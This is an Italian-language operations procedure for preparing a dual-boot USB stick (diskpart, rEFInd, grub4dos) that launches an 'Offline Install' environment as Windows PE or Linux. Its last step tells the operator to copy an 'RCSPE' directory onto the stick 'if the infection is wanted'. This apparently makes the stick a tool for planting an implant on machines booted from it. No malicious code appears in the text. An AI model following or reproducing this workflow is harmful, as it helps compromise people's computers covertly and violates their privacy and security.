procedure/USB/3_Offline_Install_Dual_Boot.txt
1) Procedura da Windows:
1) Preparazione della chiavetta USB, quindi aprire cmd.exe come amministratore
2) Eseguire: diskpart.exe
3) Individuare il numero disco relativo alla chiavetta USB tramite il comando di diskpart:
list disk
4) Ad esempio da me la chiavetta USB e' il disco 1. Quindi eseguire i comandi di diskpart:
select disk 1
clean
create partition primary
select partition 1
active
format fs=fat32 quick label="Offline"
assign
exit
Adesso la chiavetta USB e' predisposta per bootare all'avvio.
2) Procedura da Linux:
1) Generare Windows PE completo di tutte le configurazioni e file dell'Offline Install:
x86 -> C:\WinPE_x86_UFD\
ia64 -> C:\WinPE_amd64_UFD\
2) Copiare tutto il contenuto ovvero file e directory della directory media\ dentro la chiavetta USB:
x86 -> C:\WinPE_x86_UFD\media\* -> /path/USB_KEY/
ia64 -> C:\WinPE_amd64_UFD\media\* -> /path/USB_KEY/
3) Entrare dentro il file system della chiavetta USB e rinonimare il seguente file:
$ mv /path/USB_KEY/EFI/Boot/bootx64.efi /path/USB_KEY/EFI/Boot/8bootX64.efi
4) Scompattare il file ISO-2-USB EFI-BooterForMac0.01beta.zip e copiare dentro la chiavetta USB solo il file bootx64.efi:
$ tar -xvzf ISO-2-USB EFI-BooterForMac0.01beta.zip
$ mv /path/bootx64.efi /path/USB_KEY/EFI/Boot/bootx64.efi
5) Copiare la ISO Linux dell'Offline Install dentro la chiavetta USB con il nome boot.iso:
$ cp /path/offlineinstalllin.iso /path/USB_KEY/EFI/Boot/boot.iso
6) Dentro la chiavetta USB, rinominare il file:
$ mv /path/USB_KEY/EFI/Boot/bootx64.efi /path/USB_KEY/EFI/Boot/bootlinux.efi
7) Adesso copiamo i file di refind (ovviamente i nostri customizzati) per far bootare la chiavetta USB su sistemi U(EFI):
$ cp -Rf /path/icons/ /path/refind_x64.efi /path/refind.conf /path/USB_KEY/EFI/Boot/
8) Dentro la chiavetta USB, rinominare il file:
$ mv /path/USB_KEY/EFI/Boot/refind_x64.efi /path/USB_KEY/EFI/Boot/bootx64.efi
Adesso abbiamo una chiavetta USB che boota refind su sistemi U(EFI) in modo tale da far partire l'Offline Install o come Windows PE o come Linux tramite refind.
Occupiamoci di far partire la chiavetta USB anche su sistemi BIOS o legacy tramtie Grub4dos.
9) Copiamo i file di grub4dos (ovviamente i nostri customizzati) nella root directory della USB per far bootare la chiavetta USB su sistemi BIOS o legacy:
$ cp -Rf /path/bkg.xpm.gz /path/grldr /path/menu.lst /path/menuset /path/USB_KEY/
10) Creiamo la directory images dentro la root directory della chiavetta USB:
$ mkdir /path/USB_KEY/images/
11) Copiare le due iso Windows PE e Linux dell'Offline Install dentro la directory images della chiavetta USB rispettando i nomi:
$ cp /path/offlineinstalllin.iso /path/USB_KEY/images/
$ cp /path/offlineinstallwin.iso /path/USB_KEY/images/
Adesso bisogna impostare correttamente il boot sector per far bootare correttamente la chiavetta USB su sistemi BIOS o legacy
3) Procedura da Windows:
1) Individuiamo prima il numero del disco (ovvero della chiavetta USB), quindi aprire cmd.exe come amministratore:
2) Eseguire: diskpart.exe
3) Individuare il numero disco relativo alla chiavetta USB tramite il comando di diskpart:
list disk
4) Ad esempio da me la chiavetta USB e' il disco 1. A questo punto bisogna installare grub4dos nel boot sector della chiavetta e ci serviamo di grubinst composto da due eseguibili:
- grubinst.exe -> da eseguire come amministratore su cmd.exe
4.1) Aprire cmd.exe come amministratore
4.2) Eseguire il comando:
\path\grubinst (hdX,0)
dove X e' il numero del disco relativo alla chiavetta USB che nel nostro caso e' il disco 1
- grubinst_gui.exe -> da eseguire come amministrare con un doppio click
4.1) Aprire grubinst_gui.exe come amministratore
4.2) Scegliere come disk (hdX), dove X e' il numero del disco relativo alla chiavetta USB che nel nostro caso e' il disco 1
4.3) Infine cliccare sul bottone "Install"
Adesso abbiamo una chiavetta USB che boota grub4dos su sistemi BIOS o legacy in modo tale da far partire l'Offline Install o come Windows PE o come Linux tramite grub4dos.
4) Procedura da Linux:
1) Se si desidera usare l'infezione, copiare RCSPE nella root directory della chiavetta USB:
$ cp -Rf RCSPE /path/USB_KEY/
Completate tutte le procedure, la chiavetta e' pronta e bootara' su sistemi BIOS o legacy tramite grub4dos e su sistemi U(EFI) tramite Refind.